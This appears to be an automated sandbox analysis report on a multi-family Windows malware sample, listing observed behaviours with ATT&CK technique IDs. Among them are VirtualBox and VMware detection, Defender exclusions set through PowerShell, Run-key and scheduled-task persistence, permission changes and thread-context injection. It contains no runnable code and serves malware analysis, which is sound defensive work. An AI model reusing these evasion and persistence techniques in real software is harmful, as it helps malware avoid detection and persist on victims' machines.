e341bc11b1534463b867a79ba1cde8f8dffc3712e3da354c3f19c8dde4ff44e4

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v43.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v42.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v41.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
34	5056	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2840	powershell.exe
3404	powershell.exe
4124	powershell.exe
2648	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 4 IoCs

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v41.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v43.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v42.exe

Possible privilege escalation attempt 3 IoCs

exploit

pid	Process
4700	takeown.exe
4464	icacls.exe
1232	icacls.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Executes dropped EXE 5 IoCs

pid	Process
3600	Win-v43.exe
3524	Win-v42.exe
5056	cmd.exe
3040	svchost.exe
3600	Win-v41.exe

Modifies file permissions 1 TTPs 3 IoCs

File and Directory Permissions Modification

T1222

pid	Process
4700	takeown.exe
4464	icacls.exe
1232	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\v4 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Explorer\\Win-v43.exe"	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Internet Connection Discovery

T1016.001

flow	ioc
9	api64.ipify.org
10	api64.ipify.org

Power Settings 1 TTPs 7 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
4876	powercfg.exe
4304	powercfg.exe
1244	powercfg.exe
2632	powercfg.exe
4260	powercfg.exe
3960	powercfg.exe
4908	powercfg.exe

Drops file in System32 directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_39DF7432E6EF50CDA9C936E29E7DA30D	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File created	C:\Windows\System32\Win-v42.exe	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_879AFEB08DCB012707582D902977FF92	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4648 set thread context of 5056	4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	140
PID 4648 set thread context of 3040	4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	142

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File created	C:\Windows\Win-v41.exe	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3996	cmd.exe
4140	cmd.exe
1236	cmd.exe
3876	cmd.exe
4796	cmd.exe
980	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cmd.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

T1016.001

pid	Process
3876	cmd.exe
4168	PING.EXE

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

System Time Discovery

T1124

pid	Process
4796	cmd.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000\LogConf	wmiprvse.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 55 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1792107426"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "17110992,504928405,41816131,507286179,7202265,17110988,7153487,504928410,577889346,5804129,17962391,508368333,17962392,41484365,24262478,9179409,3462423,3702920,3700754,3965062,24262474,4297094,7153421,3462365,18716193,7153435,24262477,25036127,24262473,9179410,20502174,6308191,18407617,39125643,539756558,6104718,9179411,51475283,41185282,39389248,539756557,528570079,7202269"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,940 10,941 10,942 10,943 10,940 15,1329 15,940 6,944 50,944 10,941 15,942 15,940 50,943 15,944 6,944 15,943 6,1329 50,1329 100,1329 6,941 6,942 6,944 100,940 100"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Thu, 15 Oct 2026 19:45:35 GMT"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={45194C78-EA86-41BE-8464-F70DD99CE1FF}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4168	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

defense_evasion privilege_escalation

pid	Process
3764	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2840	powershell.exe
2840	powershell.exe
3404	powershell.exe
3404	powershell.exe
4124	powershell.exe
4124	powershell.exe
3600	Win-v43.exe
3600	Win-v43.exe
3524	Win-v42.exe
3524	Win-v42.exe
4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2648	powershell.exe
2648	powershell.exe
2648	powershell.exe
4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2648	powershell.exe
616	winlogon.exe
616	winlogon.exe
3600	Win-v41.exe
3600	Win-v41.exe
4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
616	winlogon.exe
616	winlogon.exe
616	winlogon.exe
616	winlogon.exe
616	winlogon.exe
616	winlogon.exe
4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
4648	2026-10-15_f04abc14e30874e1d06d7a616673b3f1_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
616	winlogon.exe
616	winlogon.exe
616	winlogon.exe
616	winlogon.exe
616	winlogon.exe
616	winlogon.exe
616	winlogon.exe
616	winlogon.exe
616	winlogon.exe
616	winlogon.exe
616	winlogon.exe
616	winlogon.exe
616	winlogon.exe
616	winlogon.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3244	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2840	powershell.exe
Token: SeDebugPrivilege	3404	powershell.exe
Token: SeDebugPrivilege	4124	powershell.exe
Token: SeTakeOwnershipPrivilege	4700	takeown.exe
Token: SeShutdownPrivilege	1244	powercfg.exe
Token: SeCreatePagefilePrivilege	1244	powercfg.exe
Token: SeShutdownPrivilege	2632	powercfg.exe
Token: SeCreatePagefilePrivilege	2632	powercfg.exe
Token: SeShutdownPrivilege	4260	powercfg.exe
Token: SeCreatePagefilePrivilege	4260	powercfg.exe
Token: SeShutdownPrivilege	3960	powercfg.exe
Token: SeCreatePagefilePrivilege	3960	powercfg.exe
Token: SeShutdownPrivilege	4908	powercfg.exe
Token: SeCreatePagefilePrivilege	4908	powercfg.exe
Token: SeShutdownPrivilege	4876	powercfg.exe
Token: SeCreatePagefilePrivilege	4876	powercfg.exe
Token: SeShutdownPrivilege	4304	powercfg.exe
Token: SeCreatePagefilePrivilege	4304	powercfg.exe
Token: SeShutdownPrivilege	4304	powercfg.exe
Token: SeCreatePagefilePrivilege	4304	powercfg.exe
Token: SeLockMemoryPrivilege	5056	cmd.exe
Token: SeLockMemoryPrivilege	5056	cmd.exe
Token: SeDebugPrivilege	2648	powershell.exe
Token: SeDebugPrivilege	2648	powershell.exe
Token: SeDebugPrivilege	616	winlogon.exe
Token: SeShutdownPrivilege	4092	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	4092	mousocoreworker.exe
Token: SeShutdownPrivilege	3744	RuntimeBroker.exe
Token: SeShutdownPrivilege	3244	Explorer.EXE
Token: SeCreatePagefilePrivilege	3244	Explorer.EXE
Token: SeShutdownPrivilege	3244	Explorer.EXE
Token: SeCreatePagefilePrivilege	3244	Explorer.EXE
Token: SeShutdownPrivilege	4092	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	4092	mousocoreworker.exe
Token: SeShutdownPrivilege	3744	RuntimeBroker.exe
Token: SeShutdownPrivilege	4092	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	4092	mousocoreworker.exe
Token: SeShutdownPrivilege	4092	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	4092	mousocoreworker.exe
Token: SeShutdownPrivilege	4092	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	4092	mousocoreworker.exe
